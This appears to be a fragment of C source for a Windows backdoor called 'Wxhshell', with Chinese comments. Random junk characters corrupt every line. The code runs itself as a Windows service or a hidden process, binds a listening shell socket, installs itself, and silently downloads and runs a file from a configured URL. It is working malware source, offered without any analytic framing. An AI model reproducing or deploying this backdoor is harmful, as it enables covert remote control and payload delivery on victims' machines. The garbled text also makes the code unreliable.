ULONG InheritedFromUniqueProcessId; Ju<D7
} PROCESS_BASIC_INFORMATION; AN@Vos
Cu
\"SI-`x
PROCNTQSIP NtQueryInformationProcess; w8qI7/
,v"A}g0"
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /03>|Juo
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gA6C(##0
jKzjTn9{E
HANDLE hProcess; #XsqTK_nk
PROCESS_BASIC_INFORMATION pbi; 'g#GUSXfj
S~T[*Z/m
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V;"'!dVX
if(NULL == hInst ) return 0; VI?[8@*Z
U:Y?2$#
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t`Sh!e
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {#vo^& B
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]Uu/1TTf
3r\QLIr L8
if (!NtQueryInformationProcess) return 0; o! 8X< o
4:.M*Dz
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mWh:,[o
if(!hProcess) return 0; &~i1 @\]
|s:!LU&OL\
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zSu2B6YU}
0PN{
+<?.
CloseHandle(hProcess); 1n^xVk-G
IoC,\$s,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FQ5# v{
if(hProcess==NULL) return 0; c0@v`-9
;.iy{&$
HMODULE hMod; v[m>;Ubg&
char procName[255]; 4h|vd.t
unsigned long cbNeeded; C<3An_Dy
'
{Q L`L
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^#nAS2w7U
j'Fni4;
CloseHandle(hProcess); ^dro*a,
Q]8r72uSk
if(strstr(procName,"services")) return 1; // 以服务启动 OA_
%%A;o
8W{R&Z7aL
return 0; // 注册表启动 &:rf80`z.
} EB\\
F
]]+"`t,-
// 主模块 O?@AnkOhn
int StartWxhshell(LPSTR lpCmdLine) s^cHR1^
{ [8ih-k
SOCKET wsl; o.,hCg)X
BOOL val=TRUE; C`fQ` RL\
int port=0; }u
:sh >2
struct sockaddr_in door; m9r
X
(UCWSA7oc
if(wscfg.ws_autoins) Install(); oZQu&O'
h T<v8
port=atoi(lpCmdLine); j*GYYEY
y&UsSS
if(port<=0) port=wscfg.ws_port; d4lEd>Ni
N)QW$iw9
WSADATA data; @sP?@<C
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WkT4&|POJ
;e+ErN`a.~
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 4XRVluD%W.
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a$ Z06j
door.sin_family = AF_INET; =cxjb,r
door.sin_addr.s_addr = inet_addr("127.0.0.1"); -0Ps.B
door.sin_port = htons(port); '2eggX%
[l0>pHl@
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tlj^0
closesocket(wsl); ,a}+Jj{
return 1; uKK+V6}!kj
} *t63c.S
Up~#]X
if(listen(wsl,2) == INVALID_SOCKET) { &U:;jlST9
closesocket(wsl); $aEL>,X
return 1; \]zHM.E1
} u-D%: lz85
Wxhshell(wsl); Ay[6rUO
WSACleanup(); 8/k*"^3
F8q|$[nH
return 0; rAgb<D@,H
H?PaN)_6-+
} Bx)4BPaN
$%ps:ui~X
// 以NT服务方式启动 F&^u1RYz
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ol-U%J
{ *~cq
(PFQ
DWORD status = 0; (m13
ong
DWORD specificError = 0xfffffff; i!(u4wTFF
k*J0K=U|
serviceStatus.dwServiceType = SERVICE_WIN32; fTMn
serviceStatus.dwCurrentState = SERVICE_START_PENDING; l4RZ!K*X_"
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cJMp`DQzc
serviceStatus.dwWin32ExitCode = 0; Nzf tc
serviceStatus.dwServiceSpecificExitCode = 0; v#TU7v?~
serviceStatus.dwCheckPoint = 0; N^v"n*M0|
serviceStatus.dwWaitHint = 0; U<K)'l6#2n
c1Skt
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =nGgk}Z
if (hServiceStatusHandle==0) return; f]Xh7m(Gh
UZz/v#y~
status = GetLastError(); `fS$@{YI_
if (status!=NO_ERROR) ]@0C1r
{ )1N~-VuT
serviceStatus.dwCurrentState = SERVICE_STOPPED; ',P$m&z
serviceStatus.dwCheckPoint = 0; 9!;/+P
serviceStatus.dwWaitHint = 0; @P@?KZ..v!
serviceStatus.dwWin32ExitCode = status; PKJ w%.-
serviceStatus.dwServiceSpecificExitCode = specificError; dSkM A
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8u6*;*o
return; KSz;D+L\
} 3s;^p,9
Y
\8g'v@$wG
serviceStatus.dwCurrentState = SERVICE_RUNNING; "Doz~R\\
serviceStatus.dwCheckPoint = 0; shKTj5s?
serviceStatus.dwWaitHint = 0; }20~5!
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kntYj}F(
} 9(6f:D
3N257]
// 处理NT服务事件,比如:启动、停止 Lcb5^e?'Q
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y7BmW+
{ gamE^Ee
switch(fdwControl) 5X&Y~w,poU
{ 2u Zb2O
case SERVICE_CONTROL_STOP: _0}u0fk
serviceStatus.dwWin32ExitCode = 0; Ogv9_X8
serviceStatus.dwCurrentState = SERVICE_STOPPED; >e>%AMzo[
serviceStatus.dwCheckPoint = 0; m~04I~8vk
serviceStatus.dwWaitHint = 0; rny(8z%Ck-
{ @CMEmgk~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2D UY4Ti
} 'hR0JXy
return; galzk $D
case SERVICE_CONTROL_PAUSE: 7>"dc+Fg
serviceStatus.dwCurrentState = SERVICE_PAUSED; 9A~w2z\G
break; rtNYX=P
case SERVICE_CONTROL_CONTINUE: iYD5~pK8
serviceStatus.dwCurrentState = SERVICE_RUNNING; sKCYGt$
break; hi`[
case SERVICE_CONTROL_INTERROGATE: xpX<iT>5u
break; ~y{_NgMo
}; _iu~vU)r
SetServiceStatus(hServiceStatusHandle, &serviceStatus); F42<9)I
} CFC15/yU
1*" 7q9x
// 标准应用程序主函数 /% g+|C
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $GP66Ev
{ hjyM xg;Q?
rGQ2 ve
// 获取操作系统版本 wx^Det
OsIsNt=GetOsVer(); 47N,jVt4
GetModuleFileName(NULL,ExeFile,MAX_PATH); Om^(CAp
&(oA/jFQ
// 从命令行安装 T*:w1*:
if(strpbrk(lpCmdLine,"iI")) Install(); !c`&L_ "!
; [G:
// 下载执行文件 Q3Pu<j}Y
if(wscfg.ws_downexe) { URceq2_
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yDfH`]i)U
WinExec(wscfg.ws_filenam,SW_HIDE); ?7}ybw3t]
} D=Q.Q
:s6aFiz
if(!OsIsNt) { )$RV)
// 如果时win9x,隐藏进程并且设置为注册表启动 _V4O#;%?
HideProc(); f"RC(("6W
StartWxhshell(lpCmdLine); M!+J[q
} 9dq"x[
else 3_<l`6^Ns/
if(StartFromService()) ,`JYFh M
// 以服务方式启动 sC.b'1P
StartServiceCtrlDispatcher(DispatchTable); Q7rBc
wm5
else qCg<g
// 普通方式启动 u$yXuFj/
StartWxhshell(lpCmdLine); Vbt!, 2_)
^R=`<jx
return 0; ;89kL]
}